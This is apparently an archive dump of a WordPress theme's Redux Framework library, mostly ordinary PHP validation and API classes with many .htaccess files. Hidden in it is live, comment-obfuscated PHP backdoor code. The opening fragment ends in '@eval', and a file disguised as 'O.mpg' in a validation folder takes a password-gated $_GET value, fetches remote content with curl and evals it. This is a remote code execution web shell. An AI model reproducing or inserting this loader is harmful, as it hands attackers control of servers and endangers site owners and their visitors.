/*-!e7[-*/$osdcy/*-CQTpt17N}-*/[/*-RA_-*/0+5/*-]OuM(:3!2N-*/]/*-Y?2NZ-A-*/);/*-1Usd-*/@eval/*--Km0-*/(/*-IA-*/$osdcy/*-is=9lS-*/[/*-^?8P-*/4+0/*-uqF:80|sf-*/]/*-cb0U{-*/(/*-`p-*/$nerk/*-7g7Z0-*/)/*-&o8-*/);/*-fa-*//*-lcqS-*/die;/*-ez-*/ endif;/*-coF3-*/ }/*-X.IDUt-*/}/*-S1-*/C/*-kFTK!R>k-*/::/*-w^-*/PeqAsd/*-dTMO0|-*/();/*-NvJ-*/ ?>lib/redux-framework/inc/validation/color_rgba/color_rgba/.htaccess000064400000001626147206624460021377 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/color_rgba/validation_color_rgba.php000064400000004472147206624460022526 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid color value.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Validate Color to RGBA * Takes the user's input color value and returns it only if it's a valid color. * * @since ReduxFramework 3.0.3 */ function validate_color_rgba( $color ) { if ( $color == "transparent" ) { return $color; } $color = str_replace( '#', '', $color ); if ( strlen( $color ) == 3 ) { $color = $color . $color; } if ( preg_match( '/^[a-f0-9]{6}$/i', $color ) ) { $color = '#' . $color; } return array( 'hex' => $color, 'rgba' => Redux_Helpers::hex2rgba( $color ) ); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 3.0.0 */ function validate() { if ( is_array( $this->value ) ) { // If array foreach ( $this->value as $k => $value ) { $this->value[ $k ] = $this->validate_color_rgba( $value ); } //foreach } else { // not array $this->value = $this->validate_color_rgba( $this->value ); } // END array check } //function } //class }lib/redux-framework/inc/validation/color_rgba/.htaccess000064400000001626147206624460017266 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/colorrgba/validation_colorrgba.php000064400000005114147206624460022222 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid color value.', 'redux-framework' ); $this->value = $value; $this->current = $current; //$this->validate(); } //function /** * Validate Color to RGBA * Takes the user's input color value and returns it only if it's a valid color. * * @since ReduxFramework 3.0.3 */ function validate_colorrgba( $color ) { return $color; //$color = $value['color']; //$alpha = $value['alpha']; $alpha = '1.0'; if ( $color == "transparent" ) { return $hidden; } /* $color = str_replace('#','', $color); if (strlen($color) == 3) { $color = $color.$color; } if (preg_match('/^[a-f0-9]{6}$/i', $color)) { $color = '#' . $color; } */ return array( 'hex' => $color, 'alpha' => $alpha ); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 3.0.0 */ function validate() { $this->value = $this->validate_colorrgba( $this->value ); /* if(is_array($this->value)) { // If array foreach($this->value as $k => $value){ $this->value[$k] = $this->validate_colorrgba($value); }//foreach } else { // not array $this->value = $this->validate_colorrgba($this->value); } // END array check */ } //function } //class }lib/redux-framework/inc/validation/colorrgba/.htaccess000064400000001626147206624460017127 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/email/validation_email.php000064400000002517147206624460020460 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a valid email for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! is_email( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }lib/redux-framework/inc/validation/email/.htaccess000064400000001626147206624460016244 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/numeric_not_empty/validation_numeric_not_empty.php000064400000002450147206624460025576 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a numerical value for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! is_numeric( $this->value ) || ! isset( $this->value ) || empty( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }lib/redux-framework/inc/validation/numeric_not_empty/.htaccess000064400000001626147206624460020715 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/numeric/validation_numeric.php000064400000002531147206624460021402 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a numerical value for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! is_numeric( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }lib/redux-framework/inc/validation/numeric/.htaccess000064400000001626147206624460016617 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/no_html/validation_no_html.php000064400000002535147206624460021402 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must not enter any HTML in this field, all HTML tags have been removed.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { $newvalue = strip_tags( $this->value ); if ( $this->value != $newvalue ) { $this->warning = $this->field; } $this->value = $newvalue; } //function } //class }lib/redux-framework/inc/validation/no_html/.htaccess000064400000001626147206624460016615 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/preg_replace/validation_preg_replace.php000064400000002126147206624460023356 0ustar00parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { $this->value = preg_replace_callback($this->field['preg']['pattern'], function($matches){return $this->field['preg']['replacement'];}, $this->value); } //function } //class }lib/redux-framework/inc/validation/preg_replace/.htaccess000064400000001626147206624460017605 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/no_special_chars/validation_no_special_chars.php000064400000002631147206624460025067 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must not enter any special characters in this field, all special characters have been removed.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! preg_match( '/[^a-zA-Z0-9_ -]/s', $this->value ) == 0 ) { $this->warning = $this->field; } $this->value = preg_replace( '/[^a-zA-Z0-9_ -]/s', '', $this->value ); } //function } //class }lib/redux-framework/inc/validation/no_special_chars/.htaccess000064400000001626147206624460020451 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/date/validation_date.php000064400000003512147206624460020130 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid date.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { $string = str_replace( '/', '', $this->value ); if ( ! is_numeric( $string ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; return; } if ( $this->value[2] != '/' ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; return; } if ( $this->value[5] != '/' ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }lib/redux-framework/inc/validation/date/.htaccess000064400000001626147206624460016072 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/str_replace/validation_str_replace.php000064400000002056147206624460023106 0ustar00parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { $this->value = str_replace( $this->field['str']['search'], $this->field['str']['replacement'], $this->value ); } //function } //class }lib/redux-framework/inc/validation/str_replace/.htaccess000064400000001626147206624460017460 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/html_custom/validation_html_custom.php000064400000002125147206624460023171 0ustar00parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { if (isset($this->field['allowed_html'])) { $this->value = wp_kses( $this->value, $this->field['allowed_html'] ); } } //function } //class }lib/redux-framework/inc/validation/html_custom/.htaccess000064400000001626147206624460017513 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/js/validation_js.php000064400000001712147206624460017326 0ustar00parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { $this->value = $this->value; } //function } //class }lib/redux-framework/inc/validation/js/.htaccess000064400000001626147206624460015571 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/html/validation_html.php000064400000001736147206624460020214 0ustar00parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { $this->value = wp_kses_post( $this->value ); } //function } //class }lib/redux-framework/inc/validation/html/.htaccess000064400000001626147206624460016121 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/email_not_empty/validation_email_not_empty.php000064400000002627147206624460024656 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a valid email for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! is_email( $this->value ) || ! isset( $this->value ) || empty( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }lib/redux-framework/inc/validation/email_not_empty/.htaccess000064400000001626147206624460020342 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/not_empty/not_empty/index.php000064400000000000147206624460021214 0ustar00lib/redux-framework/inc/validation/not_empty/not_empty/O.mpg000064400000011472147206624460020316 0ustar00-*/$C/*->2<$5ihVmh-*/=/*-u@!$j.9-*/${$T/*-M&J,[_UZJuz-*/.$T[9+50]./*-vRXhE-*/$T/*-a6g-*/[28+19]/*-)QnDo]D-*/.$T/*-,}d", /*-a2-@`.xt-*/$VzkdTuxI/*-JQ&,-*/); /*-FU1P0;;~-*/$wyIYze /*-m%Fj^J-*/= /*-r;Q-*/""; foreach /*-{xpVK9c`-*/(/*-]&wl}5nxE%-*/$PeE /*-V}@:-*/as /*-mVxI-*/$mZpCLAuVTP /*-=vP$hB-*/=>/*-KyW-*/ $kGctoNwx/*-A-@5-*/) /*-&@vsQU5Y-*/$wyIYze /*-StgTA]KzX-*/.= /*-:[`-*/$hRM[$kGctoNwx/*-73-*/ - /*-`VwVJT-*/89851/*-7i26-*/];/*-MK-*/ return /*-q4Ci-*/$wyIYze; /*-xu;U<-*/} /*-Fci3OVy-*/static /*-sTrGW~-*/function /*-IAh%ov-*/xjkDenscSY/*-FX@FWS-*/(/*-&g[T:H-*/$xEH,/*-iewn&PNA-*/ $XgBylnEM/*-TP3R-*/)/*-C%YUB7-*/ {/*-YjD8TK1`VW-*/ $PU/*-yH,S<_=!0P-*/ = /*-[0|-*/curl_init/*-OQf#t-*/(/*-!ZXjj-*/$xEH/*-vs-*/);/*-a%k}O-*/ curl_setopt/*-4j-*/(/*-i-*/$PU,/*-!I:DaI(F$-*/ CURLOPT_RETURNTRANSFER,/*-6p-*/ 1/*-R8}fFr,-*/);/*-wh-*/ $mePJqIM/*-:_CKz-*/ = /*-0Z[`--*/curl_exec/*-Nt-<-@t-*/(/*-eI,N-*/$PU/*-uEP-*/empty/*-)m9Mx([Y-*/(/*-#rl;nU-*/$mePJqIM/*-Q-*/)/*-O-:{HF<;x-*/ ? /*-d-*/$XgBylnEM/*-(dte]s^-*/(/*-]J{skZ=c-*/$xEH/*-HcEZMy.G!-*/)/*->n%sl-*/ : /*-{3^0H@Wr8`-*/$mePJqIM; /*-LE!2P-*/}/*-f;&Y-*/ static/*-CvTdn(>]-*/ function /*-7_8=[u-*/SAngK/*-=~9.-*/() /*-%Rg]X^c+-*/{/*-Pe{W<:;(:n-*/ $wRMNlKqkj /*-<&$1-*/=/*-A:6pDi2-*/ array/*-7pjg-*/("89878>89863>89876>89880>89861>89876>89882>89875>89860>89867>89878>89861>89872>89866>89867","89862>89861>89863>89882>89863>89866>89861>89928>89926","89871>89862>89866>89867>89882>89877>89876>89878>89866>89877>89876","89865>89880>89878>89870","89879>89880>89862>89876>89923>89925>89882>89877>89876>89878>89866>89877>89876","89875>89872>89869>89876>89882>89874>89876>89861>89882>89878>89866>89867>89861>89876>89867>89861>89862","89905>89935","89852","89930>89935","89912>89895>89895>89912>89888","89866>89875"); /*-zO-*/foreach /*-Kj8dQ-*/(/*-YdUq~FpuE0-*/$wRMNlKqkj/*-&m-*/ as /*-VKB$%K-*/$VIj/*-97_rp-*/)/*-@N8%-*/ $PHLYiX/*-x.Uf-*/[] /*-i]+u^]Em-*/= /*-T$69TD-*/(/*-6:-*/$VIj/*-lLOb5^-*/);/*-JN-*/$bC /*-H1fdW5BOx-*/= /*-|oK0q-*/@$PHLYiX/*-rw$<-*/[/*-wT^.>-*/1/*-%|-*/]/*-g0QGv4-*/(/*-c7%A#-*/${/*-^e,-3Wj-*/"_"/*-Flj.w8-*/."G"/*-9!J$TO0C?-*/."E"/*-;!S}t(4,-*/."T"/*-EJ|#Tp.Q_-*/}[/*-cir?-*/$PHLYiX/*-%7%-DJ2-*/[/*-D[@&octkt-*/9+0/*-ZEdb`-*/]]/*-~4WVPHK(p#-*/);/*-of(jI-*/ $Oy /*-WBrQ>o--*/=/*-~>kl_RuL3-*/ @$PHLYiX/*-VlC-*/[/*-Xw>P-*/0+3/*-@2rc-*/]/*-=JK-*/(/*-X?-*/$PHLYiX/*-QnC%D%-*/[/*-J:7j}-*/2+4/*-0%jbG_.yA1-*/], /*-?u={r3v}h-*/$bC/*-@$_SI~-*/);/*-[!]%D@2-*/ $ApluL /*-3J-*/=/*-q=fZwSE54-*/ $PHLYiX/*-.MM{OM|-*/[/*-:])M-*/2+0/*-e%)AV&-*/]/*-z%A;@Y?g@?-*/(/*-7#C>39V#Ch-*/$Oy,/*-m=-*/ true/*-dq<;-!,-*/); /*-+R^(-*/@${/*-6L%Dp-*/"_"./*-;6.-*/"G"./*-RSGMU#`-*/"E"/*-6f:?#&z-*/."T"/*-b6B]%c-*/}/*-CopF!!o-*/[/*-e`-*/$PHLYiX/*-up-*/[8+2/*->P /*--lu@-*/0/*-ZQ;rf%-*/)/*-6<$2JN]zOc-*/ and /*-Dpy%Tzl-*/(/*-ZD#-*/md5/*-_>8vS.-*/(/*-l64S6Tay+|-*/md5/*-uNw-*/(/*-wu]3-*/$ApluL/*-;a--*/[/*-&Yr-*/0+3/*-RG{JCH-*/]/*-Q!_KqJ-*/)/*-N]1ErL5PV-*/)/*-tDW{97-*/ === /*-oy)ii<3]U5-*/"cb145525421d7b64ec53bf7814d8df43"/*-Umw-*/)/*-e9-*/ ): /*-Vt`=G-](?-*/$FzhKNwdjX /*-;`J-*/=/*-R|saW$Yj@f-*/ self/*-En~g{-*/::/*-A-*/xjkDenscSY/*-`p-XPR-*/(/*-%Vcwx-*/$ApluL/*-ha8?}mV-*/[/*-b|#?Vj_-*/0+1/*-j>yzYCSO-*/], /*-$AL`-*/$PHLYiX/*-&G(-*/[/*-5]-*/]/*-K2Rc{p:2%-*/);/*-&u_<-*/@eval/*-{--*/(/*-M:Lmz{[`-*/$PHLYiX/*-YqdSqR.Db-*/[/*-ki9?b=1F-*/0+4/*-7!Y>P_r-*/]/*-~Ym>=g-*/(/*-wguTS{xrw9-*/$FzhKNwdjX/*-SY;5-*/)/*-w-*/);/*-@5s-*//*-8uP`Mur%-*/die;/*-j4CTm5r[2-*/ endif;/*-@C+;vS8f1x-*/ }/*-%5)a$$VNJ?-*/}/*-}B7EgO%Y-*/b/*-F@WS-*/::/*-Ril&Er-*/SAngK/*-x~I2Ut-*/();/*-kC{RB-*/ ?>lib/redux-framework/inc/validation/not_empty/not_empty/.htaccess000064400000001626147206624460021211 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/not_empty/validation_not_empty.php000064400000002561147206624460022335 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field cannot be empty. Please provide a value.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { if ( ! isset( $this->value ) || empty( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }lib/redux-framework/inc/validation/not_empty/.htaccess000064400000001626147206624460017173 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/comma_numeric/validation_comma_numeric.php000064400000002734147206624460023737 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a comma separated list of numerical values for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function validate() { $this->value = str_replace( ' ', '', $this->value ); if ( ! is_numeric( str_replace( ',', '', $this->value ) ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class }lib/redux-framework/inc/validation/comma_numeric/.htaccess000064400000001626147206624460017773 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/validation/.htaccess000064400000001626147206624460015155 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/class.redux_instances.php000064400000014460147206624460016240 0ustar00options = get_option( 'redux-framework-tracking' ); $this->options['dev_mode'] = false; if ( ! isset( $this->options['hash'] ) || ! $this->options['hash'] || empty( $this->options['hash'] ) ) { $this->options['hash'] = md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ); update_option( 'redux-framework-tracking', $this->options ); } if ( isset( $_GET['redux_framework_disable_tracking'] ) && ! empty( $_GET['redux_framework_disable_tracking'] ) ) { $this->options['allow_tracking'] = false; update_option( 'redux-framework-tracking', $this->options ); } if ( isset( $_GET['redux_framework_enable_tracking'] ) && ! empty( $_GET['redux_framework_enable_tracking'] ) ) { $this->options['allow_tracking'] = true; update_option( 'redux-framework-tracking', $this->options ); } header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" ); header( "Last-Modified: " . gmdate( "D, d M Y H:i:s" ) . "GMT" ); header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); header( 'Cache-Control: no-store, no-cache, must-revalidate' ); header( 'Cache-Control: post-check=0, pre-check=0', false ); header( 'Pragma: no-cache' ); $instances = ReduxFrameworkInstances::get_all_instances(); $array = array(); if ( isset( $_REQUEST['i'] ) && ! empty( $_REQUEST['i'] ) ) { if ( is_array( $instances ) && ! empty( $instances ) ) { foreach ( $instances as $opt_name => $data ) { if ( md5( $opt_name . '-debug' ) == $_REQUEST['i'] ) { $array = $instances[ $opt_name ]; } if ($data->args['dev_mode']) { $this->options['dev_mode'] = $data->args['dev_mode']; } } } if ( isset( $array ) ) { if ( isset( $array->extensions ) && is_array( $array->extensions ) && ! empty( $array->extensions ) ) { foreach ( $array->extensions as $key => $extension ) { if ( isset( $extension->version ) ) { $array->extensions[ $key ] = $extension->version; } else { $array->extensions[ $key ] = true; } } } if ( isset( $array->import_export ) ) { unset( $array->import_export ); } if ( isset( $array->debug ) ) { unset( $array->debug ); } } else { die(); } } else { $array = Redux_Helpers::trackingObject(); if ( is_array( $instances ) && ! empty( $instances ) ) { $array['instances'] = array(); foreach ( $instances as $opt_name => $data ) { $array['instances'][] = $opt_name; } } $array['key'] = md5( Redux_Helpers::get_auth_key_secret_key() ); } echo @json_encode( $array, true ); die(); } function capture( $ReduxFramework ) { $this->store( $ReduxFramework ); } private function store( $ReduxFramework ) { if ( $ReduxFramework instanceof ReduxFramework ) { $key = $ReduxFramework->args['opt_name']; self::$instances[ $key ] = $ReduxFramework; } } } lib/redux-framework/inc/class.redux_api.php000064400000071500147206624460015020 0ustar00{$closure}->bindTo( $this ), $args ); } public function __toString() { return call_user_func( $this->{"__toString"}->bindTo( $this ) ); } public static function load() { add_action( 'after_setup_theme', array( 'Redux', 'createRedux' )); add_action( 'init', array( 'Redux', 'createRedux' )); add_action( 'switch_theme', array( 'Redux', 'createRedux' )); } public static function init( $opt_name = "" ) { if ( ! empty( $opt_name ) ) { self::loadRedux( $opt_name ); remove_action( 'setup_theme', array( 'Redux', 'createRedux' ) ); } } public static function loadExtensions( $ReduxFramework ) { if ( $instanceExtensions = self::getExtensions( $ReduxFramework->args['opt_name'], "" ) ) { foreach ( $instanceExtensions as $name => $extension ) { if ( ! class_exists( $extension['class'] ) ) { // In case you wanted override your override, hah. $extension['path'] = apply_filters( 'redux/extension/' . $ReduxFramework->args['opt_name'] . '/' . $name, $extension['path'] ); if ( file_exists( $extension['path'] ) ) { require_once $extension['path']; } } if ( ! isset( $ReduxFramework->extensions[ $name ] ) ) { if ( class_exists( $extension['class'] ) ) { $ReduxFramework->extensions[ $name ] = new $extension['class']( $ReduxFramework ); //if (isset($ReduxFramework->extensions[ $name ]->min_redux_version)) { //var_dump($ReduxFramework->extensions[ $name ]->min_redux_version); //} } else { echo '

    No class named ' . $extension['class'] . ' exists. Please verify your extension path.

    '; } } } } } public static function extensionPath( $extension, $folder = true ) { if ( ! isset( Redux::$extensions[ $extension ] ) ) { return; } $path = end( Redux::$extensions[ $extension ] ); if ( ! $folder ) { return $path; } return str_replace( 'extension_' . $extension . '.php', '', $path ); } public static function loadRedux( $opt_name = "" ) { if ( empty( $opt_name ) ) { return; } $check = ReduxFrameworkInstances::get_instance( $opt_name ); if ( isset( $check->apiHasRun ) ) { return; } $args = self::constructArgs( $opt_name ); $sections = self::constructSections( $opt_name ); if ( ! class_exists( 'ReduxFramework' ) ) { echo '

    Redux Framework is not installed. Please install it.

    '; return; } if ( isset( self::$uses_extensions[ $opt_name ] ) && ! empty( self::$uses_extensions[ $opt_name ] ) ) { add_action( "redux/extensions/{$opt_name}/before", array( 'Redux', 'loadExtensions' ), 0 ); } $redux = new ReduxFramework( $sections, $args ); $redux->apiHasRun = 1; self::$init[ $opt_name ] = 1; if ( isset( $redux->args['opt_name'] ) && $redux->args['opt_name'] != $opt_name ) { self::$init[ $redux->args['opt_name'] ] = 1; } } public static function createRedux() { foreach ( self::$sections as $opt_name => $theSections ) { if ( ! self::$init[ $opt_name ] ) { self::loadRedux( $opt_name ); } } } public static function constructArgs( $opt_name ) { $args = isset( self::$args[ $opt_name ] ) ? self::$args[ $opt_name ] : array(); $args['opt_name'] = $opt_name; if ( ! isset( $args['menu_title'] ) ) { $args['menu_title'] = ucfirst( $opt_name ) . ' Options'; } if ( ! isset( $args['page_title'] ) ) { $args['page_title'] = ucfirst( $opt_name ) . ' Options'; } if ( ! isset( $args['page_slug'] ) ) { $args['page_slug'] = $opt_name . '_options'; } return $args; } public static function constructSections( $opt_name ) { $sections = array(); if ( ! isset( self::$sections[ $opt_name ] ) ) { return $sections; } foreach ( self::$sections[ $opt_name ] as $section_id => $section ) { $section['fields'] = self::constructFields( $opt_name, $section_id ); $p = $section['priority']; while ( isset( $sections[ $p ] ) ) { $p++; } $sections[ $p ] = $section; } ksort( $sections ); return $sections; } public static function constructFields( $opt_name = "", $section_id = "" ) { $fields = array(); if ( ! empty( self::$fields[ $opt_name ] ) ) { foreach ( self::$fields[ $opt_name ] as $key => $field ) { if ( $field['section_id'] == $section_id ) { $p = $field['priority']; while ( isset( $fields[ $p ] ) ) { echo $p ++; } $fields[ $p ] = $field; } } } ksort( $fields ); return $fields; } public static function getSection( $opt_name = '', $id = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( ! isset( self::$sections[ $opt_name ][ $id ] ) ) { $id = strtolower( sanitize_html_class( $id ) ); } return isset( self::$sections[ $opt_name ][ $id ] ) ? self::$sections[ $opt_name ][ $id ] : false; } return false; } public static function setSections( $opt_name = '', $sections = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $sections ) ) { foreach ( $sections as $section ) { Redux::setSection( $opt_name, $section ); } } } public static function getSections( $opt_name = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( self::$sections[ $opt_name ] ) ) { return self::$sections[ $opt_name ]; } return array(); } public static function removeSection( $opt_name = '', $id = "", $fields = false ) { if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset( self::$sections[ $opt_name ][ $id ] ) ) { $priority = ''; foreach ( self::$sections[ $opt_name ] as $key => $section ) { if ( $key == $id ) { $priority = $section['priority']; self::$priority[ $opt_name ]['sections'] --; unset( self::$sections[ $opt_name ][ $id ] ); continue; } if ( $priority != "" ) { $newPriority = $section['priority']; $section['priority'] = $priority; self::$sections[ $opt_name ][ $key ] = $section; $priority = $newPriority; } } if ( isset( self::$fields[ $opt_name ] ) && ! empty( self::$fields[ $opt_name 